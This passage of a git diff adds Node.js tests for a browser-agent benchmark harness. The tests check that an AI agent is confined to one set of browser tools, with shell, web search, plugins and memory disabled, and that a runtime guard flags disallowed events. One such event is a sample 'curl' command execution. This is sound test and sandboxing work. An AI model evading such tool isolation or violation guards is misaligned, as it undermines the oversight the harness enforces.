t.after(() => rm(root, { recursive: true, force: true })); + return root; +} +function fakeModel(actions = [['read_page', {}], ['click', { selector: '#blue-widget' }]]) { + return async (_command, args, options) => { + assert.equal(args[args.indexOf('-m') + 1], 'gpt-6.1-sol'); + assert.ok(args.includes('--ignore-user-config')); + assert.ok(args.includes('mcp_servers.fsb.default_tools_approval_mode="approve"')); + const rpc = JSON.parse(args.find(arg => arg.startsWith('mcp_servers.fsb.args=')).split('=').slice(1).join('=')); + const client = new StdioClient([process.execPath, ...rpc], { stderr: null }); + options.onStdout(JSON.stringify({ type: 'thread.started', thread_id: 'test-session' }) + '\n'); + try { + await client.initialize(); + const { tools } = await client.request('tools/list'); + assert.ok(!tools.some(t => t.name === 'run_task')); + for (const [name, args] of actions) { + const result = await client.request('tools/call', { name, arguments: args }); + options.onStdout(JSON.stringify({ type: 'item.completed', item: { type: 'mcp_tool_call', server: 'fsb', tool: name } }) + '\n'); + if (result.isError) break; + } + if (!options.signal.aborted) { + await writeFile(args[args.indexOf('-o') + 1], 'The Blue Widget costs $19.99.'); + options.onStdout(JSON.stringify({ type: 'turn.completed', usage: { input_tokens: 10, output_tokens: 5 } }) + '\n'); + } + return { code: options.signal.aborted ? 1 : 0, stdout: '', stderr: '' }; + } finally { await client.close(); } + }; +} +test('Codex uses the controller-owned FSB connection, correct badge and cleanup', async t => { + const rawDir = await directory(t); + const final = await runCodexTask({ task, rawDir, serverCommand, run: fakeModel() }); + assert.equal(final.outcome, 'complete'); assert.equal(final.cleanup_ok, true); + assert.equal(final.final_answer, 'The Blue Widget costs $19.99.'); + assert.equal(final.action_count, 1); assert.equal(final.tool_calls, 2); + const meta = JSON.parse(await readFile(path.join(rawDir, 'proxy-meta.json'), 'utf8')); + assert.equal(meta.client, 'Codex'); assert.equal(meta.cleanup_ok, true); + const steps = (await readFile(path.join(rawDir, 'steps.jsonl'), 'utf8')).trim().split('\n').map(JSON.parse); + assert.equal(steps[0].args.client, 'Codex'); assert.equal(steps.at(-1).args.client, 'Codex'); +}); +test('the action limit prevents an extra action and still closes the owned tab', async t => { + const rawDir = await directory(t); + const final = await runCodexTask({ task, rawDir, serverCommand, maxActions: 1, run: fakeModel([['click', {}], ['click', {}]]) }); + assert.equal(final.outcome, 'step_limit'); assert.equal(final.action_count, 1); assert.equal(final.cleanup_ok, true); +}); +test('a disallowed tool invalidates the attempt', async t => { + const rawDir = await directory(t); + const run = async (_command, _args, options) => { + options.onStdout(JSON.stringify({ type: 'item.started', item: { type: 'command_execution', command: 'curl https://example.com' } }) + '\n'); + return { code: 1 }; + }; + const final = await runCodexTask({ task, rawDir, serverCommand, run }); + assert.equal(final.outcome, 'tool_violation'); assert.match(final.error, /command_execution/); + assert.equal(codexToolViolation({ item: { type: 'mcp_tool_call', server: 'other', tool: 'read_page' } }, ['read_page']), 'Disallowed MCP tool: other/read_page'); +}); +test('a model timeout is recorded and does not orphan the controller', async t => { + const rawDir = await directory(t); + const command = path.join(rawDir, 'fake-codex'); + await writeFile(command, '#!/usr/bin/env node\nsetInterval(()=>{},1000);'); await chmod(command, 0o755); + const final = await runCodexTask({ task, rawDir, serverCommand, command, timeoutMs: 100 }); + assert.equal(final.outcome, 'timeout'); assert.equal(final.final_answer, null); +}); +test('missing model binary has a resumable startup outcome', async t => { + const rawDir = await directory(t); + const final = await runCodexTask({ task, rawDir, serverCommand, command: '/nonexistent/om2w-codex' }); + assert.equal(final.outcome, 'never_started'); +}); +test('unusable screenshots are an infrastructure pause rather than a fabricated trajectory', async t => { + const rawDir = await directory(t); + const image = path.join(rawDir, 'broken.png'); await writeFile(image, 'not a PNG'); + const run = async (_command, args, options) => { + const rpc = JSON.parse(args.find(arg => arg.startsWith('mcp_servers.fsb.args=')).split('=').slice(1).join('=')); + const client = new StdioClient([process.execPath, ...rpc], { stderr: null }); + try { await client.initialize(); await assert.rejects(client.request('tools/call', { name: 'read_page', arguments: {} }), /bootstrap failed/); } + finally { await client.close(); } + return { code: 1, stderr: '' }; + }; + const final = await runCodexTask({ task, rawDir, serverCommand, env: { ...process.env, OM2W_STUB_SCREENSHOT: image }, run }); + assert.equal(final.outcome, 'rig_failure'); assert.equal(final.cleanup_ok, true); assert.equal(final.final_answer, null); +}); diff --git a/mind2web/harness/test/codex-image-contract.test.mjs b/mind2web/harness/test/codex-image-contract.test.mjs new file mode 100644 index 000000000..ed80154df --- /dev/null +++ b/mind2web/harness/test/codex-image-contract.test.mjs @@ -0,0 +1,217 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import { chmod, mkdtemp, readFile, readdir, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { generateContractPng, inspectCodexImageRequest, codexRequestToolSurface, verifyCodexRequestSettings, verifyCodexImageContract, + loadImageContractCatalog, imageContractSourcePins, imageContractFixtureUpstream, imageContractProxyClass } from '../codex-image-contract.mjs'; +import { inspectPng, encodeSolidPng } from '../png.mjs'; +import { ALLOWED_TOOLS, PUBLIC_ALLOWED_TOOLS, PUBLIC_PROFILE_ID } from '../browser-manual-profile.mjs'; +import { startTaskGateway } from '../task-gateway.mjs'; + +const hash = bytes => createHash('sha256').update(bytes).digest('hex'); +const small = generateContractPng(64, 32); +const frame = png => { + const { width, height } = inspectPng(png); + return { frame_id: 'recorded-frame', operation_id: 'recorded-operation', tab_id: 51, + sha256: hash(png), byte_length: png.length, output_width: width, output_height: height, model_image_detail: 'original' }; +}; +const request = (png = small) => ({ input: [{ type: 'function_call_output', call_id: 'image-contract-call', output: [ + { type: 'input_text', text: JSON.stringify({ observation: frame(png) }) }, + { type: 'input_image', image_url: 'data:image/png;base64,' + png.toString('base64') }, +] }] }); +async function directory(t) { + const dir = await mkdtemp(path.join(tmpdir(), 'codex-image-contract-test-')); + t.after(() => rm(dir, { recursive: true, force: true })); return dir; +} + +test('the default fixture contains deterministic valid RGB pixels above1MiB at3024x1610', () => { + const first = generateContractPng(), second = generateContractPng(); + assert.deepEqual(inspectPng(first), { ok: true, error: null, width: 3024, height: 1610 }); + assert.ok(first.length > 1024 * 1024 && first.length < 16 * 1024 * 1024); + assert.equal(first[24], 8); assert.equal(first[25], 2); assert.ok(first.equals(second)); + assert.throws(() => generateContractPng(0, 2), { code: 'INVALID_FIXTURE_DIMENSIONS' }); + assert.throws(() => generateContractPng(5000, 5000), { code: 'INVALID_FIXTURE_DIMENSIONS' }); +}); + +test('native exact bytes and production observation receipt are verified without requiring the event image', () => { + const actual = inspectCodexImageRequest(request(), small); + assert.equal(actual.native_image, true); assert.equal(actual.mime_type, 'image/png'); assert.equal(actual.sha256, hash(small)); + assert.equal(actual.bytes, small.length); assert.equal(actual.width, 64); assert.equal(actual.height, 32); + assert.equal(actual.frame.operation_id, 'recorded-operation'); +}); + +test('serialized image JSON in text and an unrelated call cannot satisfy native delivery', () => { + const flat = request(); flat.input[0].output = [{ type: 'input_text', text: JSON.stringify(flat.input[0].output) }]; + assert.throws(() => inspectCodexImageRequest(flat, small), { code: 'NATIVE_IMAGE_MISSING' }); + const wrongCall = request(); wrongCall.input[0].call_id = 'unrelated-call'; + assert.throws(() => inspectCodexImageRequest(wrongCall, small), { code: 'NATIVE_IMAGE_MISSING' }); + const duplicate = request(); duplicate.input[0].output.push(duplicate.input[0].output[1]); + assert.throws(() => inspectCodexImageRequest(duplicate, small), { code: 'NATIVE_IMAGE_MISSING' }); +}); + +test('resizing, recompression/substitution and non-PNG or incomplete encodings fail closed', () => { + const resized = request(generateContractPng(32, 16)); + assert.throws(() => inspectCodexImageRequest(resized, small), { code: 'NATIVE_IMAGE_DIMENSIONS' }); + const substituted = request(encodeSolidPng(64, 32)); + assert.throws(() => inspectCodexImageRequest(substituted, small), { code: 'NATIVE_IMAGE_BYTES' }); + const jpeg = request(); jpeg.input[0].output[1].image_url = jpeg.input[0].output[1].image_url.replace('image/png', 'image/jpeg'); + assert.throws(() => inspectCodexImageRequest(jpeg, small), { code: 'NATIVE_IMAGE_MIME' }); + const truncated = request(); truncated.input[0].output[1].image_url = truncated.input[0].output[1].image_url.slice(0, -8); + assert.throws(() => inspectCodexImageRequest(truncated, small), error => ['NATIVE_IMAGE_ENCODING', 'NATIVE_IMAGE_INVALID'].includes(error.code)); +}); + +test('receipt hash, dimensions and original-detail provenance must agree with the model image', () => { + for (const change of [value => { value.sha256 = '0'.repeat(64); }, value => { value.byte_length++; }, + value => { value.output_width--; }, value => { delete value.model_image_detail; }]) { + const input = request(), receipt = frame(small); change(receipt); + input.input[0].output[0].text = JSON.stringify({ observation: receipt }); + assert.throws(() => inspectCodexImageRequest(input, small), { code: 'FRAME_RECEIPT_MISMATCH' }); + } + const missing = request(); missing.input[0].output.shift(); + assert.throws(() => inspectCodexImageRequest(missing, small), { code: 'FRAME_RECEIPT_MISSING' }); +}); + +test('the isError call needs its own native image, receipt and original completed error content', () => { + const value = request(), output = value.input[0]; output.call_id = 'error-call'; + const options = { callId: 'error-call', errorCode: 'KNOWN_READ_ERROR' }; + assert.throws(() => inspectCodexImageRequest(value, small, options), { code: 'NATIVE_ERROR_RESULT_MISSING' }); + output.output.unshift({ type: 'input_text', text: JSON.stringify({ success: false, code: 'KNOWN_READ_ERROR', error: 'Completed known fixture error' }) }); + assert.equal(inspectCodexImageRequest(value, small, options).native_image, true); + assert.throws(() => inspectCodexImageRequest(value, small, { ...options, callId: 'successful-call' }), { code: 'NATIVE_IMAGE_MISSING' }); +}); + +test('the full46-tool namespace is derived from actual native additional_tools input', () => { + const value = { input: [{ type: 'additional_tools', tools: [ + { type: 'namespace', name: 'functions', tools: [{ name: 'exec' }] }, + { type: 'namespace', name: 'mcp__fsb', tools: ALLOWED_TOOLS.map(name => ({ type: 'function', name })) }, + ] }] }; + const surface = codexRequestToolSurface(value); + assert.equal(surface.count, 46); assert.deepEqual(surface.names, [...ALLOWED_TOOLS].sort()); + assert.deepEqual(surface.missing, []); assert.deepEqual(surface.unexpected, []); + value.input[0].tools[1].tools.pop(); value.input[0].tools[1].tools.push({ name: 'vault' }); + const bad = codexRequestToolSurface(value); assert.equal(bad.missing.length, 1); assert.deepEqual(bad.unexpected, ['vault']); +}); + +test('both actual model and reasoning effort must match, including on the follow-up request', () => { + const expected = { model: 'gpt-6.1-sol', effort: 'medium' }; + verifyCodexRequestSettings({ model: expected.model, reasoning: { effort: expected.effort } }, expected); + assert.throws(() => verifyCodexRequestSettings({ model: 'other-model', reasoning: { effort: 'medium' } }, expected), { code: 'CONTRACT_MODEL' }); + for (const reasoning of [undefined, {}, { effort: 'low' }]) + assert.throws(() => verifyCodexRequestSettings({ model: expected.model, reasoning }, expected), { code: 'CONTRACT_EFFORT' }); +}); + +test('an unpinned executable never starts a gateway or model request and keeps its failed receipt', async t => { + const outputDir = await directory(t), receipt = await verifyCodexImageContract({ outputDir, command: process.execPath }); + assert.equal(receipt.ok, false); assert.equal(receipt.error.code, 'CLI_BINARY_MISMATCH'); + assert.equal(receipt.request_summaries.length, 0); assert.deepEqual(receipt.fixture_calls, []); + assert.equal(receipt.real_browser_calls, 0); assert.equal(receipt.real_model_calls, 0); + assert.deepEqual((await readdir(outputDir)).sort(), ['receipt.json']); + assert.deepEqual(JSON.parse(await readFile(path.join(outputDir, 'receipt.json'))), receipt); +}); + +test('existing evidence is never overwritten and an already cancelled canary makes no CLI call', async t => { + const outputDir = await directory(t); await writeFile(path.join(outputDir, 'preserve.txt'), 'saved evidence'); + await assert.rejects(verifyCodexImageContract({ outputDir }), { code: 'CONTRACT_OUTPUT_EXISTS' }); + assert.equal(await readFile(path.join(outputDir, 'preserve.txt'), 'utf8'), 'saved evidence'); + const cancelledDir = path.join(outputDir, 'cancelled'), controller = new AbortController(); controller.abort(); + const receipt = await verifyCodexImageContract({ outputDir: cancelledDir, signal: controller.signal }); + assert.equal(receipt.error.code, 'CONTRACT_CANCELLED'); assert.deepEqual(receipt.cli, {}); assert.equal(receipt.cleanup.local_http_closed, true); +}); + +test('a hung diagnostic child is killed and its local gateway/server close before returning a failed canary', async t => { + const dir = await directory(t), command = path.join(dir, 'fake-codex.mjs'), outputDir = path.join(dir, 'evidence'); + await writeFile(command, `#!/usr/bin/env node\nimport {writeFileSync} from 'node:fs';\nif(process.argv.includes('--version')){console.log('fake-codex');}else{writeFileSync('child.pid',String(process.pid));setInterval(()=>{},1000);}\n`); + await chmod(command, 0o755); + const started = Date.now(), receipt = await verifyCodexImageContract({ outputDir, command, timeoutMs: 3500, + expectedVersion: 'fake-codex', expectedBinarySha256: hash(await readFile(command)) }); + assert.equal(receipt.ok, false); assert.equal(receipt.error.code, 'CONTRACT_TIMEOUT'); assert.ok(Date.now() - started < 6000); + assert.equal(receipt.cli.timed_out, true); assert.equal(receipt.cleanup.gateway_closed, true); + assert.equal(receipt.cleanup.fixture_upstream_closed, true); assert.equal(receipt.cleanup.local_http_closed, true); + assert.equal(receipt.cleanup.remaining_fixture_tabs, 0); + const pid = Number(await readFile(path.join(outputDir, 'child.pid'), 'utf8')); + assert.throws(() => process.kill(pid, 0), error => error.code === 'ESRCH'); +}); + +async function publicCatalog(t) { + const dir = await directory(t), file = path.join(dir, 'registered-public-tools.json'); + const tools = PUBLIC_ALLOWED_TOOLS.map(name => ({ name, description: `Public registered schema fixture for ${name}`, + inputSchema: { type: 'object', properties: { tab_id: { type: 'number' }, client: { type: 'string' }, + ...(name === 'read_page' ? { full: { type: 'boolean' } } : {}), + ...(name === 'search' ? { query: { type: 'string' } } : {}) }, required: [] } })); + const bytes = Buffer.from(JSON.stringify({ tools }) + '\n'); await writeFile(file, bytes); + return { dir, file, tools, pins: { catalog: { path: file, bytes: bytes.length, sha256: hash(bytes) } } }; +} + +test('public surface uses the exact44 selected names while the default remains46', () => { + const request = { tools: [{ type: 'namespace', name: 'mcp__fsb', tools: PUBLIC_ALLOWED_TOOLS.map(name => ({ name })) }] }; + const publicSurface = codexRequestToolSurface(request, PUBLIC_ALLOWED_TOOLS); + assert.equal(publicSurface.count, 44); assert.deepEqual(publicSurface.missing, []); assert.deepEqual(publicSurface.unexpected, []); + assert.deepEqual(codexRequestToolSurface(request).missing.sort(), ['wait_for_element', 'wait_for_stable']); +}); + +test('public image catalog comes from pinned actual schemas and refuses summaries or changed source bytes', async t => { + const f = await publicCatalog(t); + const loaded = await loadImageContractCatalog({ publicRelease: true, publicPins: f.pins }); + assert.equal(loaded.profile.id, PUBLIC_PROFILE_ID); assert.equal(loaded.allowed.length, 44); + assert.deepEqual(loaded.tools, f.tools); assert.equal(loaded.descriptor.sha256, f.pins.catalog.sha256); + await assert.rejects(loadImageContractCatalog({ publicRelease: true }), { code: 'PUBLIC_CATALOG_REQUIRED' }); + await assert.rejects(loadImageContractCatalog({ publicRelease: true, publicPins: f.pins, catalogFile: path.join(f.dir, 'other.json') }), { code: 'PUBLIC_CATALOG_BINDING_MISMATCH' }); + await writeFile(f.file, JSON.stringify({ tools: f.tools.slice(1) })); + await assert.rejects(loadImageContractCatalog({ publicRelease: true, publicPins: f.pins }), { code: 'PUBLIC_CATALOG_CHANGED' }); + await assert.rejects(loadImageContractCatalog({ publicRelease: true, catalogFile: f.file }), /missing frozen profile tool/); + await writeFile(f.file, JSON.stringify({ tools: PUBLIC_ALLOWED_TOOLS })); + await assert.rejects(loadImageContractCatalog({ publicRelease: true, catalogFile: f.file }), { code: 'PUBLIC_CATALOG_INVALID' }); +}); + +test('public source inventory pins public catalog and wrapper bytes without an experimental extension schema dependency', async t => { + const f = await publicCatalog(t); + const binding = path.join(f.dir, 'public-source-binding.json'); await writeFile(binding, '{"kind":"test-only-source-receipt"}\n'); + const data = await readFile(binding); f.pins.source_binding = { path: binding, sha256: hash(data), bytes: data.length }; + const pins = await imageContractSourcePins({ publicRelease: true, publicPins: f.pins }); + assert.equal(pins['public/registered-tool-catalog.json'], f.pins.catalog.sha256); + assert.equal(pins['public/source_binding.json'], f.pins.source_binding.sha256); + assert.equal('extension/ai/tool-definitions.js' in pins, false); + for (const name of ['public-release-client.mjs', 'mcp-client.mjs', 'manual-recording-proxy.mjs', 'public-disposition.mjs', + 'observation-recorder.mjs', 'task-gateway.mjs', 'browser-manual-profile.mjs', 'driver-codex.mjs']) assert.match(pins[name], /^[a-f0-9]{64}$/); + await writeFile(binding, '{}\n'); + await assert.rejects(imageContractSourcePins({ publicRelease: true, publicPins: f.pins }), { code: 'PUBLIC_SOURCE_CHANGED' }); + const legacy = await imageContractSourcePins(); assert.match(legacy['extension/ai/tool-definitions.js'], /^[a-f0-9]{64}$/); + assert.equal('public/registered-tool-catalog.json' in legacy, false); +}); + +test('synthetic public gateway exercises the public44 schema and native success/error frames without creating a guard', async t => { + const f = await publicCatalog(t), loaded = await loadImageContractCatalog({ publicRelease: true, publicPins: f.pins }); + const png = generateContractPng(128, 110), dimensions = inspectPng(png), upstream = imageContractFixtureUpstream(png, dimensions, loaded.tools); + const gateway = await startTaskGateway({ ProxyClass: imageContractProxyClass(true), upstream, command: ['never-run-a-native-client'], + rawDir: path.join(f.dir, 'gateway'), startUrl: 'https://image-contract.invalid/', taskId: 'public-image-contract', deadline: Date.now() + 30_000 }); + t.after(() => gateway.close()); await gateway.initialize(); + assert.equal(gateway.proxy.upstream, upstream, 'The fake upstream must never be wrapped in PublicReleaseClient'); + assert.equal(gateway.proxy.publicRelease, false, 'Only the public actor profile is applied to this synthetic transport'); + assert.equal(gateway.proxy.profile.id, PUBLIC_PROFILE_ID); + const catalog = await gateway.proxy.handle('tools/list'); + assert.deepEqual(catalog.tools.map(tool => tool.name).sort(), [...PUBLIC_ALLOWED_TOOLS].sort()); + assert.match(catalog.tools.find(tool => tool.name === 'search').description, /Public registered schema fixture/); + assert.equal('allow_web_fallback' in catalog.tools.find(tool => tool.name === 'search').inputSchema.properties, false); + for (const expectedError of [false, true]) { + const result = await gateway.proxy.handle('tools/call', { name: 'read_page', arguments: {} }); + assert.equal(result.isError === true, expectedError); + const image = result.content.find(block => block.type === 'image'); + assert.deepEqual(Buffer.from(image.data, 'base64'), png); assert.equal(image._meta['codex/imageDetail'], 'original'); + await gateway.proxy.noteEmitted(result); + } + assert.equal(gateway.proxy.meta.counts.actions, 2, 'Public read_page attempts consume the UI budget'); + assert.equal(upstream.calls.filter(name => name === 'open_tab').length, 1, 'Only the synthetic task tab is opened; there is no guard setup'); + assert.equal(upstream.calls.filter(name => name === 'capture_screenshot').length, 3); + await gateway.close(); assert.equal(upstream.closed, true); assert.equal(upstream.tabs.size, 0); +}); + +test('public catalog rejection preserves a failed contract receipt before any CLI or gateway work', async t => { + const outputDir = await directory(t); + const receipt = await verifyCodexImageContract({ outputDir, publicRelease: true, command: 'not-a-real-command' }); + assert.equal(receipt.ok, false); assert.equal(receipt.error.code, 'PUBLIC_CATALOG_REQUIRED'); + assert.equal(receipt.profile, PUBLIC_PROFILE_ID); assert.equal(receipt.guard_adapter_instantiated, false); + assert.equal(receipt.synthetic_public_profile_only, true); assert.deepEqual(receipt.cli, {}); + assert.deepEqual(receipt.fixture_calls, []); assert.equal(receipt.real_model_calls, 0); assert.equal(receipt.real_browser_calls, 0); +}); diff --git a/mind2web/harness/test/codex-tool-policy.test.mjs b/mind2web/harness/test/codex-tool-policy.test.mjs new file mode 100644 index 000000000..7532c15b5 --- /dev/null +++ b/mind2web/harness/test/codex-tool-policy.test.mjs @@ -0,0 +1,124 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { createHash } from 'node:crypto'; +import { existsSync } from 'node:fs'; +import { mkdtemp, mkdir, readFile, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; +import { spawnSync } from 'node:child_process'; +import { CODEX_TOOL_ISOLATION, CODEX_MODEL_CATALOG, codexArguments, codexToolViolation, tomlValue } from '../driver-codex.mjs'; +import { ALLOWED_TOOLS, actorPrompt } from '../browser-manual-profile.mjs'; +import { sourceFingerprint } from '../manual-runner.mjs'; +import { FAMILY, FAMILY_CONFIG_PATH, CLAUDE_CLI } from '../model-family.mjs'; +import { BENCH_ROOT } from '../proc.mjs'; + +const digest = value => createHash('sha256').update(value).digest('hex'); +const configuration = args => args.flatMap((value, index) => value === '-c' ? [args[index + 1]] : []); +const nested = (value, key) => key.split('.').reduce((object, part) => object[part], value); + +function parseToml(values) { + const localPython = path.join(BENCH_ROOT, 'judge/.venv/bin/python'); + const result = spawnSync(existsSync(localPython) ? localPython : 'python3', ['-c', + 'import json,sys,tomllib; print(json.dumps([tomllib.loads(value) for value in json.load(sys.stdin)]))'], + { input: JSON.stringify(values), encoding: 'utf8' }); + assert.equal(result.status, 0, result.stderr); + return JSON.parse(result.stdout); +} + +test('production actor overrides are valid TOML and preserve the isolated direct FSB interface', () => { + const args = codexArguments({ model: 'gpt-6.1-sol', effort: 'medium', socketPath: '/fixture/quoted "socket".sock', + promptPath: '/fixture/instructions.md', answerPath: '/fixture/answer.txt', allowed: ALLOWED_TOOLS, toolTimeoutSeconds: 300 }); + const overrides = configuration(args), parsed = parseToml(overrides); + const value = key => { + const index = overrides.findIndex(item => item.startsWith(key + '=')); + assert.notEqual(index, -1, key); + return nested(parsed[index], key); + }; + for (const [key, expected] of Object.entries(CODEX_TOOL_ISOLATION)) assert.deepEqual(value(key), expected, key); + assert.equal(args[args.indexOf('-m') + 1], 'gpt-6.1-sol'); + assert.equal(value('model_reasoning_effort'), 'medium'); + assert.equal(value('model_catalog_json'), CODEX_MODEL_CATALOG); + assert.deepEqual(value('mcp_servers'), {}); + assert.deepEqual(value('mcp_servers.fsb.enabled_tools'), ALLOWED_TOOLS); + assert.equal(value('mcp_servers.fsb.args')[1], '/fixture/quoted "socket".sock'); + assert.equal(value('mcp_servers.fsb.tool_timeout_sec'), 300); + assert.ok(args.includes('--ignore-user-config')); + assert.ok(args.includes('--ignore-rules')); + assert.equal(args[args.indexOf('-s') + 1], 'read-only'); +}); + +test('nested Codex feature tables serialize as TOML rather than JSON objects', () => { + const values = [{ enabled: true, excluded_tool_namespaces: ['functions', 'clock'], direct_only_tool_namespaces: ['mcp__fsb'] }, + { 'quoted.key': ['line\nbreak', 'quote"slash\\', '日本語'], empty: {} }]; + assert.deepEqual(parseToml(values.map(value => 'fixture=' + tomlValue(value))).map(value => value.fixture), values); + assert.throws(() => tomlValue(null), TypeError); +}); + +test('the isolation contract disables other execution and integration paths without disabling direct images', () => { + for (const key of ['shell_tool', 'unified_exec', 'unified_exec_tty', 'apply_patch_freeform', 'view_image', + 'apps', 'plugins', 'remote_plugin', 'tool_suggest', 'skill_search', 'skill_mcp_dependency_install', + 'browser_use', 'browser_use_external', 'browser_use_full_cdp_access', 'computer_use', 'in_app_browser', + 'in_app_local_automation', 'code_mode_host', 'multi_agent', 'multi_agent_v2', 'goals', 'sleep_tool', + 'image_generation', 'artifact', 'memories', 'external_agent_memory_import', 'hooks', 'auth_elicitation']) { + assert.equal(CODEX_TOOL_ISOLATION['features.' + key], false, key); + } + assert.equal(CODEX_TOOL_ISOLATION.web_search, 'disabled'); + assert.equal(CODEX_TOOL_ISOLATION['apps._default.enabled'], false); + assert.equal(CODEX_TOOL_ISOLATION['features.skip_host_skill_discovery'], true); + assert.deepEqual(CODEX_TOOL_ISOLATION['features.code_mode'], { enabled: true, + excluded_tool_namespaces: ['functions', 'clock'], direct_only_tool_namespaces: ['mcp__fsb'] }); +}); + +test('runtime event guard rejects retained Codex resource helpers and every non-FSB tool event', () => { + assert.equal(ALLOWED_TOOLS.length, 46); + for (const tool of ALLOWED_TOOLS) assert.equal(codexToolViolation({ item: { type: 'mcp_tool_call', server: 'fsb', tool } }, ALLOWED_TOOLS), null); + for (const tool of ['list_mcp_resources', 'list_mcp_resource_templates', 'read_mcp_resource']) { + assert.match(codexToolViolation({ item: { type: 'mcp_tool_call', server: 'codex', tool } }, ALLOWED_TOOLS), /Disallowed MCP tool/); + assert.match(codexToolViolation({ item: { type: 'mcp_tool_call', server: 'fsb', tool } }, ALLOWED_TOOLS), /Disallowed MCP tool/); + } + for (const type of ['command_execution', 'web_search', 'file_change', 'image_generation', 'browser_use', 'future_tool']) { + assert.match(codexToolViolation({ item: { type } }, ALLOWED_TOOLS), /Disallowed tool event/); + } + assert.equal(codexToolViolation({ item: { type: 'agent_message' } }, ALLOWED_TOOLS), null); +}); + +test('local model catalog changes only the two declared non-browser tool creation fields', async () => { + const bytes = await readFile(CODEX_MODEL_CATALOG), catalog = JSON.parse(bytes); + const receipt = JSON.parse(await readFile(path.join(BENCH_ROOT, 'config/codex-gpt61sol-browser-policy.receipt.json'))); + assert.equal(digest(bytes), receipt.policy_catalog_sha256); + assert.equal(receipt.bundled_catalog_sha256, '262dc36e0e7beb290aef8196bd59f42acf51647b8f7b68dafa533ae7742019e6'); + assert.equal(receipt.original_selected_model_sha256, 'c431dcf452fd42fe88ca2d4b6adfa151d00cc76e25859a4638c7c309cec7ae23'); + assert.equal(catalog.models.length, 1); + const current = catalog.models[0], original = structuredClone(current); + assert.equal(current.slug, 'gpt-6.1-sol'); + assert.deepEqual(Object.keys(receipt.changed_fields).sort(), ['apply_patch_tool_type', 'experimental_supported_tools']); + for (const [key, change] of Object.entries(receipt.changed_fields)) { + assert.deepEqual(current[key], change.to); + original[key] = change.from; + } + assert.equal(current.apply_patch_tool_type, null); + assert.deepEqual(current.experimental_supported_tools, []); + assert.deepEqual(original.experimental_supported_tools, ['send_user_message_async', 'clock']); + const canonical = value => value && typeof value === 'object' + ? Array.isArray(value) ? value.map(canonical) : Object.fromEntries(Object.keys(value).sort().map(key => [key, canonical(value[key])])) : value; + // The receipt uses sorted, ASCII JSON, matching the archived official entry. + const ascii = JSON.stringify(canonical(original)).replace(/[^\x00-\x7f]/g, character => '\\u' + character.charCodeAt(0).toString(16).padStart(4, '0')); + assert.equal(digest(ascii), receipt.original_selected_model_sha256); +}); + +test('collector fingerprints bind the model family, the pinned actor CLI bytes and its prompt variant', + { skip: !existsSync(CLAUDE_CLI) && 'Pinned Claude CLI is not installed locally' }, async t => { + const root = await mkdtemp(path.join(tmpdir(), 'codex-policy-fingerprint-')); + t.after(() => rm(root, { recursive: true, force: true })); + for (const directory of ['runtime/build', 'runtime/ai', 'runtime/node_modules', 'extension']) await mkdir(path.join(root, directory), { recursive: true }); + for (const [file, text] of [['runtime/build/index.js', 'fixture'], ['runtime/package.json', '{}'], + ['runtime/ai/tool-definitions.cjs', 'fixture'], ['extension/manifest.json', '{}']]) await writeFile(path.join(root, file), text); + const fingerprints = await sourceFingerprint({ serverCommand: [process.execPath, path.join(root, 'runtime/build/index.js')], extensionDir: path.join(root, 'extension') }); + assert.equal(fingerprints.model_family, digest(await readFile(FAMILY_CONFIG_PATH))); + assert.equal(fingerprints.actor_cli, digest(await readFile(CLAUDE_CLI))); + const prompt = await readFile(path.join(BENCH_ROOT, 'config/browser-manual-v2-prompt.md'), 'utf8'); + assert.equal(fingerprints.prompt, digest(actorPrompt(prompt, false, FAMILY))); + assert.notEqual(fingerprints.prompt, digest(actorPrompt(prompt, false, 'codex'))); + // The Codex actor policy no longer drives collection, so it is not a collector source. + for (const key of ['codex_tool_isolation', 'codex_model_catalog', 'codex_model_catalog_receipt']) assert.equal(Object.hasOwn(fingerprints, key), false, key); +}); diff --git a/mind2web/harness/test/driver.test.mjs b/mind2web/harness/test/driver.test.mjs new file mode 100644 index 000000000..c811c4c4c --- /dev/null +++ b/mind2web/harness/test/driver.test.mjs @@ -0,0 +1,39 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import { mkdtemp, writeFile, chmod, rm, readFile } from 'node:fs/promises'; +import path from 'node:path'; +import { tmpdir } from 'node:os'; +import { runClaudeTask } from '../driver-claude-code.mjs'; + +const task = { task_id: 'b'.repeat(32), website: 'https://store.example/', confirmed_task: 'Find a price.', reference_length: 2, level: 'easy' }; +async function cliFixture(t, code) { + const root = await mkdtemp(path.join(tmpdir(), 'om2w-driver-test-')); + t.after(() => rm(root, { recursive: true, force: true })); + const command = path.join(root, 'fake-claude'); + await writeFile(command, '#!/usr/bin/env node\n' + code); + await chmod(command, 0o755); + return { root, command }; +} +test('driver persists a complete result and loads only its configured MCP server', async t => { + const { root, command } = await cliFixture(t, ` + const fs = require('node:fs'); + const args=process.argv.slice(2); + const config=JSON.parse(fs.readFileSync(args[args.indexOf('--mcp-config')+1])); + console.log(JSON.stringify({type:'system',subtype:'init',tools:[],mcp_servers:[]})); + console.log(JSON.stringify({type:'result',subtype:'success',num_turns:1,result:JSON.stringify({args,servers:Object.keys(config.mcpServers),url:config.mcpServers.fsb.env.OM2W_START_URL})})); + `); + const rawDir = path.join(root, 'raw'); + const final = await runClaudeTask({ task, rawDir, command, serverCommand: [process.execPath, 'fake-server'] }); + assert.equal(final.outcome, 'complete'); + const answer = JSON.parse(final.final_answer); + assert.deepEqual(answer.servers, ['fsb']); assert.equal(answer.url, task.website); + assert.equal(answer.args[answer.args.indexOf('--tools') + 1], ''); + assert.ok(answer.args.includes('--strict-mcp-config')); + assert.ok(answer.args[answer.args.indexOf('--disallowedTools') + 1].includes('mcp__fsb__run_task')); + assert.equal(JSON.parse(await readFile(path.join(rawDir, 'final.json'), 'utf8')).outcome, 'complete'); +}); +test('driver records wall-clock expiry even without a CLI result', async t => { + const { root, command } = await cliFixture(t, 'setInterval(()=>{},1000);'); + const final = await runClaudeTask({ task, rawDir: path.join(root, 'raw'), command, serverCommand: ['unused'], timeoutMs: 100 }); + assert.equal(final.outcome, 'timeout'); assert.equal(final.final_answer, null); +}); diff --git a/mind2web/harness/test/fixtures/public-gate-native.mjs b/mind2web/harness/test/fixtures/public-gate-native.mjs new file mode 100644 index 000000000..8cde96a46 --- /dev/null +++ 